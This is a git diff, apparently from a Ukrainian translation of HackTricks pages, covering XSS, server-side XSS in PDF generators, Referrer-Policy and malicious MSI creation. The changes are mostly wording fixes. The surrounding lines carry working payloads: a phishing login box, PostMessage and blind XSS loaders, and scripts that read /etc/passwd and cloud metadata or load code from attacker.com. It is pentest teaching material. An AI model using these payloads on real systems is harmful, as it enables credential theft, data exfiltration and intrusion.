Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box to ask for credentials
|
||||
```markup
|
||||
### Поле для запиту облікових даних
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Захоплення паролів автозаповнення
|
||||
@ -1403,8 +1403,8 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Крадіжка повідомлень PostMessage
|
||||
```markup
|
||||
### Вкрадення повідомлень PostMessage
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
window.onmessage = function(e){
|
||||
@ -1429,10 +1429,10 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Сліпі XSS-пейлоади
|
||||
### Сліпі XSS пейлоади
|
||||
|
||||
Ви також можете використовувати: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||||
@ -1473,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
```
|
||||
### Regex - Доступ до прихованого контенту
|
||||
|
||||
З [**цього опису**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, вхід REGEX все ще можна знайти після того, як значення вхідного REGEX було видалено:
|
||||
З [**цього опису**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, вхідне значення REGEX все ще можна знайти після того, як значення вхідного параметра regex було видалено:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1518,7 +1518,7 @@ xss-in-markdown.md
|
||||
### XSS у динамічно створеному PDF
|
||||
|
||||
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконував довільний JS код**.\
|
||||
Отже, якщо **бот створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
Отже, якщо **бот для створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1530,18 +1530,10 @@ server-side-xss-dynamic-pdf.md
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS у Amp4Email
|
||||
|
||||
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні компоненти AMP для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо у своїх електронних листах.
|
||||
|
||||
Приклад [**writeup XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS завантаження файлів (svg)
|
||||
|
||||
Завантажте як зображення файл, подібний до наступного (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
-----------------------------232181429808
|
||||
@ -1559,13 +1551,13 @@ alert(1);
|
||||
-----------------------------232181429808--
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<script type="text/javascript">alert("XSS")</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
|
@ -12,16 +12,16 @@
|
||||
|
||||
### Популярні генератори PDF
|
||||
|
||||
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
|
||||
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна командна утиліта, що робить його доступним для широкого спектра застосувань.
|
||||
- **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
|
||||
- Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
|
||||
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її всебічний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
|
||||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.
|
||||
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
|
||||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона розроблена для розробників, які шукають простий підхід до генерації PDF, без необхідності в розширених функціях.
|
||||
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```markup
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
@ -36,7 +36,7 @@
|
||||
### SVG
|
||||
|
||||
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і ще один, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
|
||||
```markup
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
@ -63,7 +63,7 @@ alert(1);
|
||||
Ви можете знайти багато **інших SVG payloads** в [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
### Розкриття шляху
|
||||
```markup
|
||||
```html
|
||||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||||
if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
### Завантажити зовнішній скрипт
|
||||
|
||||
Найкращий спосіб використати цю вразливість - зловживати нею, щоб змусити бота завантажити скрипт, який ви контролюєте локально. Тоді ви зможете змінювати корисне навантаження локально і змусити бота завантажувати його з тим самим кодом щоразу.
|
||||
```markup
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
@ -82,7 +82,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
> Змініть `file:///etc/passwd` на `http://169.254.169.254/latest/user-data`, наприклад, щоб **спробувати отримати доступ до зовнішньої веб-сторінки (SSRF)**.
|
||||
>
|
||||
> Якщо SSRF дозволено, але ви **не можете досягти** цікавого домену або IP, [перевірте цю сторінку на предмет потенційних обходів](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){document.write(btoa(this.responseText))};
|
||||
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
@ -100,7 +100,7 @@ xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe src=file:///etc/passwd></iframe>
|
||||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
@ -112,11 +112,11 @@ xhzeem.send();
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### Затримка бота
|
||||
```markup
|
||||
```html
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
@ -129,7 +129,7 @@ time += 500;
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### Сканування портів
|
||||
```markup
|
||||
```html
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
@ -152,7 +152,7 @@ checkPort(i);
|
||||
### Attachments: PD4ML
|
||||
|
||||
Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\
|
||||
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі натиснув на символ скріпки**, щоб **зберегти вкладення** як новий файл.\
|
||||
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі клацнув на символі скріпки**, щоб **зберегти вкладення** як новий файл.\
|
||||
Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Заголовки реферерів та політика
|
||||
# Заголовки реферера та політика
|
||||
|
||||
Реферер - це заголовок, який використовують браузери, щоб вказати, яка була попередня відвідана сторінка.
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
## Пом'якшення
|
||||
|
||||
Ви можете змусити браузер дотримуватись **Referrer-policy**, яка може **уникнути** відправлення чутливої інформації на інші веб-додатки:
|
||||
Ви можете змусити браузер дотримуватись **Referrer-policy**, яка може **запобігти** відправці чутливої інформації на інші веб-додатки:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
|
||||
## Контрзаходи
|
||||
|
||||
Ви можете переопределити це правило, використовуючи HTML мета-тег (зловмисник повинен експлуатувати та HTML-ін'єкцію):
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
@ -1,13 +1,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Створення шкідливого MSI та отримання root
|
||||
# Створення шкідливого MSI та отримання прав адміністратора
|
||||
|
||||
Створення MSI-інсталятора буде виконано за допомогою wixtools, зокрема буде використано [wixtools](http://wixtoolset.org). Варто зазначити, що були спроби використати альтернативні MSI-білдери, але в цьому конкретному випадку вони не були успішними.
|
||||
Створення MSI-інсталятора буде виконано за допомогою wixtools, зокрема буде використано [wixtools](http://wixtoolset.org). Варто зазначити, що були спроби використати альтернативні MSI-будівельники, але в цьому конкретному випадку вони не були успішними.
|
||||
|
||||
Для всебічного розуміння прикладів використання wix MSI, рекомендується звернутися до [цієї сторінки](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Тут ви можете знайти різні приклади, які демонструють використання wix MSI.
|
||||
|
||||
Мета полягає в тому, щоб згенерувати MSI, який виконає файл lnk. Для досягнення цього можна використовувати наступний XML-код ([xml звідси](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||||
@ -38,7 +38,7 @@ fail_here
|
||||
</Product>
|
||||
</Wix>
|
||||
```
|
||||
Важливо зазначити, що елемент Package містить атрибути, такі як InstallerVersion та Compressed, які вказують версію інсталятора та вказують, чи пакет стиснутий, чи ні відповідно.
|
||||
Важливо зазначити, що елемент Package містить атрибути, такі як InstallerVersion та Compressed, які вказують версію інсталятора та вказують, чи пакет стиснутий, чи ні, відповідно.
|
||||
|
||||
Процес створення передбачає використання candle.exe, інструменту з wixtools, для генерації wixobject з msi.xml. Наступну команду слід виконати:
|
||||
```
|
||||
@ -50,9 +50,9 @@ candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||||
```
|
||||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||||
```
|
||||
Схоже на попередню команду, у дописі включено зображення, яке ілюструє команду та її вихід.
|
||||
Схоже на попередню команду, в пості включено зображення, яке ілюструє команду та її вихід.
|
||||
|
||||
Зверніть увагу, що хоча це резюме має на меті надати цінну інформацію, рекомендується звернутися до оригінального допису для отримання більш детальної інформації та точних інструкцій.
|
||||
Зверніть увагу, що хоча це резюме має на меті надати цінну інформацію, рекомендується звернутися до оригінального поста для отримання більш детальної інформації та точних інструкцій.
|
||||
|
||||
## References
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user